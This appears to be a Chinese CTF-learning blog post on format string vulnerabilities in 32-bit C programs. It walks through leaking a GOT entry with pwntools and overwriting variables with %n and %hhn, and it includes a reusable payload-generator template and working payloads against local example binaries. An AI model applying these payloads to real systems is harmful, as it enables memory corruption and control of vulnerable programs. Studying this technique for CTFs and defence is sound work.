再再再再学一遍格式化字符串

date
Mar 2, 2020
URL
slug
fmtstr
status
Published
tags
二进制
漏洞利用
summary
老文章迁移
type
Post
 
好久之前就看完过格式化字符串的原理及怎么用了。但有些东西时间久了就是不进脑子了。就再再再写篇文章扩充下博客吧
 

先记录一下格式化输出函数和格式字符串

copy from ctf-wiki
常见的有格式化字符串函数有
  • 输入
    • scanf
  • 输出

格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下
%[parameter][flags][field width][.precision][length]type
每一种 pattern 的含义请具体参考维基百科的
格式化字符串 以下几个 pattern 中的对应选择需要重点关注
  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, '%'字面值,不接受任何 flags, width。
 
上面就是硬性基础知识。 看不看都行。 总结一下常用的就是
%n$x 可以获取 栈上第n+1个参数的值 建议使用%p不用考虑位数
%n$s 可以获取 栈上第n+1个参数对应地址的内容,有零截断
 

泄露任意地址内存

上面只能泄露栈上的变量,可能并做不到泄露我们想要的地址,不够强力,如果遇到aslr那种防护的时候,我们能够获得某一个libc函数的got表内容,获得他的地址,那么我们也就可以通过这里获得libc其他函数的地址。
我们可以想起来上面我们提到过 %n$s 可以获得某个参数对应地址的内容 原理就在这里。我们把我们想要获得内容的地址放到栈上,然后去利用%s获得它的内容就完成了。
addr%k$s
 
我们要确定的就是格式化字符串的相对偏移。
一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。
 
notion image
我们进行如上输入,可以看到AAAA在输出函数第5个参数的位置,也就是意味着我们的格式化字符串的起始位置就是从第5个参数开始,相对来说它也就是格式化字符串的第4个参数。
我们调试的时候输入%4$s
 
notion image
会发现程序崩溃了。 为什么崩溃呢。。我们按照上面思路理一下 我们采用addr%k$s 会打印我们想要的addr的内容 ,那么这里也就是把我们的%4$s同样的也当做地址去解析了,但这个地址不可达,就报错了。我们用调试器验证一下我们的想法。
 
notion image
我们又输入AAAA%4$s
 
notion image
 
尝试泄露一下scanf函数的地址试试
 
from pwn import *
import os

sh=process('./leak')
print(proc.pidof(sh)[0])
raw_input()
context.log_level = 'DEBUG'
elf=ELF('./leak')
scanf_got=elf.got['__isoc99_scanf']
payload=p32(scanf_got)+"%4$s"
sh.sendline(payload)
print hex(u32(sh.recv()[4:8]))
#sh.interactive()
因为我这里用的是docker 直接gdb attach tmux我就找不到窗口了。看不明白。。采用输出pid 然后手动attach.
context.log_level = 'DEBUG' 可以显示发送接收
 
notion image

覆盖任意内存

这点的实现完全是因为格式化字符串里面一个很神奇的类型参数。%n
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
 
做一个最简单的例子
#include<stdio.h>
void main() {
    int i;
    char str[] = "hello";

    printf("%s%n\n", str, &i);
    printf("%d\n", i);
}
编译运行 gcc -m32 -o a.out example1.c
 
➜ work ./a.out
hello
5
i=5 因为len(hello)=5
printf("%s %n\n", str, &i); 加个空格 就输出 6。说明%n只在乎前面几个字符长度。
通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0 补齐时在宽度前加点. 或 0)。如:
 
#include<stdio.h>void main() {
    int i;

    printf("%10u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%.50u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%0100u%n\n", 1, &i);
    printf("%d\n", i);
}
 
$ ./a.out
         1
10
00000000000000000000000000000000000000000000000001
50
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
100
 
就是这样,下面我们把地址 0x8048000 写入内存:
printf("%0134512640d%n\n", 1, &i);
$ ./a.out
...
0x8048000
 
还拿ctf-wiki上的例子当🌰
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}
pwndbg> r
Starting program: /ctf/work/overflow
0xffffd6ac
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa0xffffd648.0xf7fcf410.0x80484bd.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70[
我们还是用老办法确定偏移 可以数出来是第6个
\xac\xd6\xff\xff%012d%6$n
前面的地址占4个字节 补充到16需要再加12个字节 所以%012d
python -c 'print("\xac\xd6\xff\xff%012d%6$n")' >text
 
pwndbg> r < text
Starting program: /ctf/work/overflow < text
0xffffd6ac
����-00000010680modified c.
可以看到modified c 可以知道我们确实成功修改了c

覆盖小数字

然后问题就来了。我们想修改比4小的值的时候。前面的地址就已经占了4个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。
我们想把a改成2
aa%k$naa[addr] 我们原来的格式化字符串位于第6位 现在我们新加一个aa%k 4个字节=一个参数宽带 $naa 4个字节 所以我们的addr位于第8位 如果这里不对齐的话我们的地址也就对不齐了。。
我们的新payload就是
aa%8$naa[addr]
为了省事我们去源码里改一下让他输出a的地址
\x24\xa0\x04\x08
python -c 'print("aa%8$naa\x24\xa0\x04\x08")' >tex
pwndbg> r < tex
Starting program: /ctf/work/overflow < tex
0x804a024
aaaa$modified a for a small number.
[Inferior 1 (process 1841) exited normally]
发现我们成功修改a的值为2了
其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字

我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。
不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
 
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。 h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。这里,我们以单字节为例。
首先,我们还是要确定的是要覆盖的地址为多少,我们找到b的地址
 
.data:0804A028                 public b
.data:0804A028 b               dd 1C8h
要把b填充为0x12345678 那么就是按照
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
这样填充
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
可以直接套用ctf-wiki的这个模板 这个好像是angelboy写的。。大家都在用的就是好东西23333
 
其中每个参数的含义基本如下
  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址。
  • target 表示我们要覆盖为的目的变量值。
 
相应的 exploit 如下
def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
结果如下
➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0
当然,我们也可以利用 %n 分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。
本来以为这个东西少 好写。但发现还有好多东西要整。。
先把基础的写完。
而且这个东西现在也好鸡肋的感觉。。实战基本不太可能遇得见了吧。。
notion image
单看这个提示。。都很难遇见。。

© Somet1mes 2021 - 2024